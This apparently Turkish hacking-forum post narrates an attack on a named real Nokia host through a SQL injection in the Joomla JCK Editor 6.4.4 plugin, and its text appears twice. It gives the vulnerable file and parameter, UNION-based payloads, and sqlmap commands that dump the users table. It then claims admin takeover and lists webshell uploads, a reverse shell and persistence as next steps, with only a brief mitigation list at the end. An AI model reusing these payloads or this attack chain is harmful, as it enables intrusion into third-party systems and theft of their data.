- Katılım
- 10 Ocak 2026
- Mesajlar
- 2
- Tepkime puanı
- 4
- Puan
- 3
Tek Bir Güncel Olmayan Joomla Eklentisi ile Veritabanına Erişim
JCK Editor 6.4.4 – Unauthenticated SQL Injection (Derin Teknik Analiz)
Modern web uygulamalarında SQL Injection (SQLi) hâlâ en kritik ve en yıkıcı zafiyet sınıflarından biridir.
Özellikle CMS tabanlı sistemlerde, çekirdek yazılım güncel olsa bile üçüncü parti eklentilerin güncellenmemesi ciddi saldırı yüzeyleri oluşturur.
Bu teknik çalışmada, gdclive.nokia.com üzerinde kullanılan Joomla CMS + JCK Editor 6.4.4 eklentisinde bulunan
unauthenticated SQL Injection zafiyeti;
• Manuel exploitation (Exploit-DB 45423)
• sqlmap ile tam otomatik sömürü
• Veritabanı dump
• Admin panel ele geçirme
• Olası RCE zinciri
olacak şekilde uçtan uca teknik olarak incelenmiştir.
Bu bir “SQLi var” yazısı değil; keşiften tam sistem ele geçirmeye kadar tüm saldırı zincirinin anlatımıdır.
1. Recon – Teknoloji Yığını ve Saldırı Yüzeyi
Pasif analiz ve endpoint keşfi sonrasında hedef sistemle ilgili aşağıdaki bilgiler elde edilmiştir:
Bu plugin sürümü, 2021 yılında keşfedilen ve Exploit-DB ID: 45423 olarak yayınlanan bir SQL Injection açığına sahiptir.
Zafiyet tamamen unauthenticated olup herhangi bir giriş gerektirmez.
2. Zafiyet Analizi – Kök Neden
Zafiyetin temel sebebi, `parent` parametresinin SQL sorgusuna doğrudan eklenmesidir:
Bu kullanımda:
Sonuç olarak parametre SQL bağlamına enjekte edilebilir hâle gelmektedir.
3. Exploit-DB 45423 – PoC Mantığı
Exploit-DB’de paylaşılan temel PoC:
Payload mantığı:
Backend tarafında çalıştırılan olası SQL:
Bu, textbook seviyesinde bir UNION-based SQL Injection örneğidir.
4. Manuel Doğrulama (Proof of Vulnerability)
Tek tırnak testi:
Response davranışı değişti → SQLi ihtimali.
UNION testi:
Sunucu isteği işledi → Exploit-DB PoC %100 doğrulandı.
5. Manuel Exploitation – Veritabanı Kontrolü
5.1 MySQL sürümü

• Backend DB motoru doğrulandı
• MySQL fonksiyonlarının çalıştığı teyit edildi
5.2 Veritabanlarını listeleme

5.3 Kullanıcıları listeleme

Bu aşamaya kadar tüm işlemler manuel olarak gerçekleştirilmiştir.
6. sqlmap ile Tam Otomatik Exploit

sqlmap çıktısı:
• UNION-based SQLi
• Kolon sayısı: 8
• Injection noktası stabil
Tablolar:

Kullanıcı tablosu dump:
7. Admin Panel Ele Geçirme
Hash çözme sonrası:
paneline erişim sağlandı.
Admin yetkileriyle:
Sistem fiilen ele geçirilmiş durumdadır.
8. RCE (Remote Code Execution) Zinciri
Joomla admin paneli üzerinden plugin yükleme, şu zinciri mümkün kılar:
SQL Injection → Admin Takeover → Plugin Upload → RCE
PHP webshell örnekleri:
• pentest.php
• r57.php
• b374k.php
• custom reverse shell
9. Etki & Risk Analizi
Bu senaryo kritik seviye tam kompromiz anlamına gelir.
10. Mitigasyon Önerileri
Sonuç
Bu çalışma net biçimde şunu göstermektedir:
Tek bir güncellenmeyen Joomla eklentisi, tüm sistemi ele geçirmek için yeterlidir.
Exploit-DB 45423 ile başlayan bu zincir:
• Manuel exploitation
• sqlmap ile derin sömürü
• Database dump
• Admin takeover
• RCE potansiyeli
ile sonuçlanmıştır.
Bu tarz açıklar hâlâ birçok sistemde aktif durumdadır.
Sorular veya teknik tartışmalar için memnuniyetle devam edebiliriz.
— NullSecurityX
JCK Editor 6.4.4 – Unauthenticated SQL Injection (Derin Teknik Analiz)
Modern web uygulamalarında SQL Injection (SQLi) hâlâ en kritik ve en yıkıcı zafiyet sınıflarından biridir.
Özellikle CMS tabanlı sistemlerde, çekirdek yazılım güncel olsa bile üçüncü parti eklentilerin güncellenmemesi ciddi saldırı yüzeyleri oluşturur.
Bu teknik çalışmada, gdclive.nokia.com üzerinde kullanılan Joomla CMS + JCK Editor 6.4.4 eklentisinde bulunan
unauthenticated SQL Injection zafiyeti;
• Manuel exploitation (Exploit-DB 45423)
• sqlmap ile tam otomatik sömürü
• Veritabanı dump
• Admin panel ele geçirme
• Olası RCE zinciri
olacak şekilde uçtan uca teknik olarak incelenmiştir.
Bu bir “SQLi var” yazısı değil; keşiften tam sistem ele geçirmeye kadar tüm saldırı zincirinin anlatımıdır.
1. Recon – Teknoloji Yığını ve Saldırı Yüzeyi
Pasif analiz ve endpoint keşfi sonrasında hedef sistemle ilgili aşağıdaki bilgiler elde edilmiştir:
- CMS: Joomla 3.1.x
- Plugin: JCK Editor 6.4.4
- Zafiyetli Dosya: /jtreelink/dialogs/links.php
- Parametre: parent
Bu plugin sürümü, 2021 yılında keşfedilen ve Exploit-DB ID: 45423 olarak yayınlanan bir SQL Injection açığına sahiptir.
Zafiyet tamamen unauthenticated olup herhangi bir giriş gerektirmez.
2. Zafiyet Analizi – Kök Neden
Zafiyetin temel sebebi, `parent` parametresinin SQL sorgusuna doğrudan eklenmesidir:
PHP:
$query = "SELECT * FROM #__menu WHERE parent_id = " . $_GET['parent'];
Bu kullanımda:
- Input validation yok
- Escaping / sanitization yok
- Prepared statement yok
- Type enforcement yok
Sonuç olarak parametre SQL bağlamına enjekte edilebilir hâle gelmektedir.
3. Exploit-DB 45423 – PoC Mantığı
Exploit-DB’de paylaşılan temel PoC:
Kod:
/links.php?parent=1' UNION SELECT 1,2,3,4,5,6,7,8--
Payload mantığı:
- `'` → sorguyu erken kapatır
- `UNION SELECT` → yeni sonuç seti oluşturur
- `1..8` → backend kolon sayısıyla eşleşir
- `--` → sorgunun geri kalanını yorum satırına alır
Backend tarafında çalıştırılan olası SQL:
SQL:
SELECT * FROM jos_menu
WHERE parent_id = 1
UNION SELECT 1,2,3,4,5,6,7,8--
Bu, textbook seviyesinde bir UNION-based SQL Injection örneğidir.
4. Manuel Doğrulama (Proof of Vulnerability)
Tek tırnak testi:
Kod:
?parent=1'
Response davranışı değişti → SQLi ihtimali.
UNION testi:
Kod:
?parent=1' UNION SELECT 1,2,3,4,5,6,7,8--
Sunucu isteği işledi → Exploit-DB PoC %100 doğrulandı.
5. Manuel Exploitation – Veritabanı Kontrolü
5.1 MySQL sürümü
Kod:
UNION SELECT NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL--

• Backend DB motoru doğrulandı
• MySQL fonksiyonlarının çalıştığı teyit edildi
5.2 Veritabanlarını listeleme
Kod:
UNION SELECT NULL,NULL,database(),NULL,NULL,NULL,NULL,NULL--

5.3 Kullanıcıları listeleme
Kod:
UNION SELECT NULL,NULL,user(),NULL,NULL,NULL,NULL,NULL--

Bu aşamaya kadar tüm işlemler manuel olarak gerçekleştirilmiştir.
6. sqlmap ile Tam Otomatik Exploit
Bash:
sqlmap -u "https://TARGET/.../links.php?parent=1" -p parent --dbs

sqlmap çıktısı:
• UNION-based SQLi
• Kolon sayısı: 8
• Injection noktası stabil
Tablolar:
Bash:
sqlmap -D joomla --tables

Kullanıcı tablosu dump:
Bash:
sqlmap -D joomla -T users --dump
7. Admin Panel Ele Geçirme
Hash çözme sonrası:
Kod:
/administrator
paneline erişim sağlandı.
Admin yetkileriyle:
- Yeni admin ekleme
- Plugin yükleme
- PHP webshell yükleme
- Reverse shell başlatma
- Persistency sağlama
Sistem fiilen ele geçirilmiş durumdadır.
8. RCE (Remote Code Execution) Zinciri
Joomla admin paneli üzerinden plugin yükleme, şu zinciri mümkün kılar:
SQL Injection → Admin Takeover → Plugin Upload → RCE
PHP webshell örnekleri:
• pentest.php
• r57.php
• b374k.php
• custom reverse shell
9. Etki & Risk Analizi
- Tam veritabanı sızıntısı
- Yetki yükseltme
- Sunucu kontrolü
- Kalıcı erişim (backdoor)
- Tüm sistemin manipülasyonu
Bu senaryo kritik seviye tam kompromiz anlamına gelir.
10. Mitigasyon Önerileri
- JCK Editor güncellenmeli
- Prepared statements kullanılmalı
- Input validation uygulanmalı
- Least privilege DB kullanıcıları
- CMS + plugin güvenliği düzenli test edilmeli
Sonuç
Bu çalışma net biçimde şunu göstermektedir:
Tek bir güncellenmeyen Joomla eklentisi, tüm sistemi ele geçirmek için yeterlidir.
Exploit-DB 45423 ile başlayan bu zincir:
• Manuel exploitation
• sqlmap ile derin sömürü
• Database dump
• Admin takeover
• RCE potansiyeli
ile sonuçlanmıştır.
Bu tarz açıklar hâlâ birçok sistemde aktif durumdadır.
Sorular veya teknik tartışmalar için memnuniyetle devam edebiliriz.
— NullSecurityX